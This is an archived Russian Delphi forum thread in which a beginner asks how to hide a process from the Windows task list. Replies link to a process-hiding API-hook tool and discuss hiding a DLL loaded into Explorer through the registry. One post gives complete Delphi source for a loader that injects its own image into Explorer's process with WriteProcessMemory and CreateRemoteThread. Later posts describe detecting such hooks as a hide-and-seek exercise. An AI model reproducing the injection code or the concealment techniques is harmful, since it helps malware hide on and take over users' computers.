Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Начинающим";
Текущий архив: 2007.01.28;
Скачать: [xml.tar.bz2];

Вниз

процеси и потоки   Найти похожие ветки 

 
bmw ©   (2007-01-05 11:09) [0]

как спрятать прцес из списка CTRL ALt DEL. или как сделать обработчик собітия которій будет ловить сообщения завершения (любово) процеса


 
Chuk & Gek ©   (2007-01-05 12:25) [1]

http://www.yandex.ru/yandsearch?text=%EA%E0%EA+%F3%E1%F0%E0%F2%FC+%EF%F0%EE%E3%F0%E0%EC%EC%F3+%E8%E7+%F1%EF%E8%F1%EA%E0+%EF%F0%EE%F6%E5%F1%F1%EE%E2+%ED%E0+Delphi+&stype=www


 
Anatoly Podgoretsky ©   (2007-01-05 13:04) [2]

> bmw  (05.01.2007 11:09:00)  [0]

В WinXP по CTRL ALt DEL список не показывается.


 
forex   (2007-01-05 13:14) [3]

>В WinXP по CTRL ALt DEL список не показывается
С каких это пор?


 
Anatoly Podgoretsky ©   (2007-01-05 13:26) [4]

> forex  (05.01.2007 13:14:03)  [3]

С давних, это доступно только на платформе 9х, на платформе НТ показывается диалог с кучей кнопок для выполнения различных операций.


 
kaZaNoVa ©   (2007-01-05 14:31) [5]

http://kladovka.net.ru/index.cgi?pid=list&rid=328

api_hide_perexvat.zip  (2730 байт)  
     

kaZaNoVa : 2006-02-06 15:23:33

Легендарная программа - перехват Windows API функций на примере знаменитой NtQuerySystemInformation - программа демонстрирует невидимость в NT-системах от штатного Диспетчера Задач. Программа написана чисто с демонстративной целью и никаких деструктивных действий не делает. Обнаружить можно с помощью Process Explorer. Главное достоинство программы - простота реализации.


 
Vasy_a   (2007-01-07 07:18) [6]

Ну, и тут вставлю свои 5 копеек..

> Легендарная программа - перехват Windows API функций на
> примере знаменитой NtQuerySystemInformation - программа
> демонстрирует невидимость в NT-системах от штатного Диспетчера
> Задач


Как бы не было досадно автору программы, но NtQuerySystemInformation только обёртка для ZwQuerySystemInformation - это раз. Два - востановить адрес оригинальной ф-ии дело - с десяток строк кода, и (кажется) на этом форуме уже приводилось.

Обнаружить можно с помощью Process Explorer. Главное достоинство программы - простота реализации.
Вах!...

Ну, и на последок - возможно не только востановить адрес оригинальной ф-ии, но ещё и выяснить, кто установил перехват (естественно, только, какая программа), что уже чревато отрыванием первичных половых признаков автору этой программы.


 
Shuhrad ©   (2007-01-07 07:36) [7]

"NtQuerySystemInformation только обёртка для ZwQuerySystemInformation"
Сколько открытий совершается на этом форуме !


 
Vasy_a   (2007-01-07 07:50) [8]


> Shuhrad ©   (07.01.07 07:36) [7]


Нижайше звиняюсь, в юзермоде они имеют одну точку входа(в смысле в ntdll.dll).
А в кернелмоде, честно говоря, сейчас лениво смотреть, но (возможно ошибаюсь) всё-таки Nt* проверяет параметры и вызывает Zw*.


 
kaZaNoVa ©   (2007-01-07 17:21) [9]

Vasy_a   (07.01.07 7:18) [6]
Как бы не было досадно автору программы, но NtQuerySystemInformation только обёртка для ZwQuerySystemInformation - это раз.


ЗАДАЧА была только скрыть от от штатного Диспетчера Задач.
что и было реализовано)

по поводу абсолютного скрытия было много наработок разного типа но полностью решить эту задачу невозможно, поэтмоу и я забросил в своё время эту затею ...


 
kaZaNoVa ©   (2007-01-07 17:24) [10]

Vasy_a   (07.01.07 7:18) [6]
выяснить, кто установил перехват (естественно, только, какая программа)

этой "программой" вполне может быть и тот же Explorer  (привет DLL"ам) - что тогда скажите:))))  ?  

хотя при полном включенном аудите систему все находится ... но не об этом речь ..)


 
kaZaNoVa ©   (2007-01-07 17:52) [11]

Vasy_a   (07.01.07 7:18) [6]
p.s. информация к размышлению))
угадай как работает вот это: (на sp2 может не работать ...()

program loader;
{$IMAGEBASE $70000000}
uses
 Windows,Messages;

Var
hProcess, hTh: THandle;
MemPtr: Pointer;
PID,ExitCode,Size,BytesWritten,ThreadID: Cardinal;

function ThreadF1(dwEntryPoint: Pointer): longword; stdcall;

begin
LoadLibrary("kernel32.dll");
LoadLibrary("user32.dll");
while true do
MessageBox(0,"Maliska, ti super !", "Vay!!", MB_SYSTEMMODAL);
Result:=0;
end;

function Main1(dwEntryPoint: Pointer): longword; stdcall;
begin
CreateThread(nil,0,@ThreadF1,dwEntryPoint,0,ThreadID);
Result:=0;
end;

begin
GetWindowThreadProcessId(FindWindow("Progman", nil), @PID);  //;)
if PID = 0 then Exit;

MemPtr:= Pointer(GetModuleHandle(nil));

Size := PImageOptionalHeader(Pointer(integer(MemPtr) + PImageDosHeader(MemPtr)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;

hProcess := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,true,PID);

if hProcess = 0 then Exit;

BytesWritten:=0;
VirtualFreeEx(hProcess,MemPtr, 0, MEM_RELEASE);
 MemPtr := VirtualAllocEx(hProcess,MemPtr, Size , MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE );

 if MemPtr <> nil then
 begin
   if WriteProcessMemory(hProcess, MemPtr,MemPtr, Size, BytesWritten) then
   begin
   hTh := CreateRemoteThread(hProcess, nil, 0,@Main1,MemPtr, 0, ThreadID);
     if hTh <> 0 then
     begin
       if (WaitForSingleObject(hTh,INFINITE) = WAIT_OBJECT_0) and
         GetExitCodeThread(hTh, ExitCode) then CloseHandle(hTh);
     end;
   end ;
 //  VirtualFreeEx(hProcess, MemPtr, 0, MEM_RELEASE);  //?
 end;
 CloseHandle(hProcess);
end.


 
Riply ©   (2007-01-07 23:17) [12]

>[9] kaZaNoVa ©   (07.01.07 17:21)
>по поводу абсолютного скрытия было много наработок разного типа
Привет !
Помня твое пристрастие к "сокрытиям", делаю предложение,
"от которого ты не сможешь отказаться" (с)Крестный отец
Давай поиграем "в прятки" ?
Ты будешь прятаться у меня на компьютере, а я тебя искать.
Условия такие:
1. Все происходит в "Юзер моде". (Большее я не потяну:( )
2. Для прятанья и поиска используются только собственно - лапно
   написанные модули. (например, я не имею права использовать даже TaskMgr).
3. Твоя задача (будь ты процессом, DLL - кой или сервисом)
   стать невидимым и переодически, любым образом, сообщать
   о том, что ты жив :)) Переодичность я могу менять.
4. Моя - найти тебя и способ "убиения" :)
   Разумеется рестарт тебя не убивает :)
5. Все "пряталки" имеют доступные Install и Uninstall.
   После Uninstall - а все в первозданном виде, как будто ничего и не было :)
6. Не допускается изменение (временное в т. ч.) никаких системных файлов, настроек и т. п.
   (кроме прописывания себя туда, откуда собрался стартовать)
7. Любая (самая незначительная) ошибка системы в результате твоих действий
    - твой проигрыш. P.S. Надеюсь до краха не дойдет. :)
Я смогу посвящать "пряткам" примерно час в день.


 
kaZaNoVa ©   (2007-01-07 23:55) [13]

Riply ©   (07.01.07 23:17) [12]
1. Все происходит в "Юзер моде". (Большее я не потяну:( )

забавно) думаю у меня немного шансов)

а по теме как там автор решил проблему?


 
kaZaNoVa ©   (2007-01-07 23:58) [14]

Riply ©   (07.01.07 23:17) [12]
3. Твоя задача (будь ты процессом, DLL - кой или сервисом)

я пишу дллку, гружу в эксплорер через реестр ... простой юзер не найдет 99%....

но через что-то типа VMware + прога сканирования реестра и  файлов= мою прогу находят мгновенно .... бесмысленный спор)


 
kaZaNoVa ©   (2007-01-07 23:59) [15]


> DLL - кой или сервисом)

хороший сервис из юзер-режима) сразу виден уровень автора))


 
Riply ©   (2007-01-08 00:27) [16]

>забавно) думаю у меня немного шансов)
Тогда упростим задачу - будем прятаться от конкретной программы
>но через что-то типа VMware + прога сканирования реестра и
>файлов= мою прогу находят мгновенно
Но, чтобы это использовать, надо сначала написать :)
> .... бесмысленный спор)
Спора никакого нет. Есть предложение просто поиграть в игру,
которая (надеюсь) принесет какие-то познания :)
>сразу виден уровень автора))
Значит тебе проще будет прятаться, а мне сложнее искать :)
P.S. Я не хочу никому ничего доказывать.
Очень вероятно, что я проиграю. Но все равно - интересно.


 
Riply ©   (2007-01-08 00:41) [17]

P.S. Играют же люди в "CrackMe", а здесь будет "FindMe" :)


 
kaZaNoVa ©   (2007-01-08 01:00) [18]

Riply ©   (08.01.07 0:27) [16]
Тогда упростим задачу - будем прятаться от конкретной программы

именно эту задачу я успешно решил в   [5], какие будут предложения?)) :crazy: (еще был код, который прятался от процесс-эскплорера но глюкавый)


 
Riply ©   (2007-01-08 01:13) [19]

> [18] kaZaNoVa ©   (08.01.07 01:00)
>именно эту задачу я успешно решил в   [5], какие будут предложения?))
Сейчас попробую. О результатах доложу.
P.S. Может мне понадобиться некоторое время.


 
Riply ©   (2007-01-08 03:46) [20]

Никак не могла заставить pro.exe от меня спрятаться.
Вижу его и все тут :)) Пока не сообразила, что надо
загружать NtQuerySystemInformation статически.
При динамической загрузке Hide.dll ее не перехватывает.
Т.е. можно считать, что не спятались :)
С меня осталось получение имени виновника перехвата :)


 
kaZaNoVa ©   (2007-01-08 07:48) [21]

Удалено модератором


 
Riply ©   (2007-01-08 08:44) [22]

> [21] kaZaNoVa ©   (08.01.07 07:48)
>вариант [5] прячется от штатного Диспетчера
Ну..., так не интересно.
Ты бы еще от калькулятора спрятался :)
Ну не писать же мне перехват к TaskMng
с подменой подмененной SQI на настоящую, чтобы он увидел pro.exe :)
(Ищ ты какая фраза получилась :))
Давай так: я даю путь к exe, которым буду искать,
а ты волен пытаться его обмануть как угодно.
>очень интересно, как ..))))
Базируясь на разработках Игоря Шевченко, в частности на HsPeImage.pas.
Грубо, суть такова:
по адресу перехваченной функции пытаемся найти DLL - ку,
осуществившую перехват, ну и попутно вызвать "настоящую" функцию.


 
kaZaNoVa ©   (2007-01-08 09:41) [23]

Удалено модератором



Страницы: 1 вся ветка

Форум: "Начинающим";
Текущий архив: 2007.01.28;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.51 MB
Время: 0.049 c
15-1168083641
Чапаев
2007-01-06 14:40
2007.01.28
InnoSetup, файловая система


2-1168100863
Metaaa
2007-01-06 19:27
2007.01.28
Запуск сервиса


15-1168435066
Piroxyline
2007-01-10 16:17
2007.01.28
Turbo Delphi Explorer


15-1168486866
Slider007
2007-01-11 06:41
2007.01.28
С днем рождения ! 11 января


2-1168501791
Apachi
2007-01-11 10:49
2007.01.28
сохранение результатов работы командной строки





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский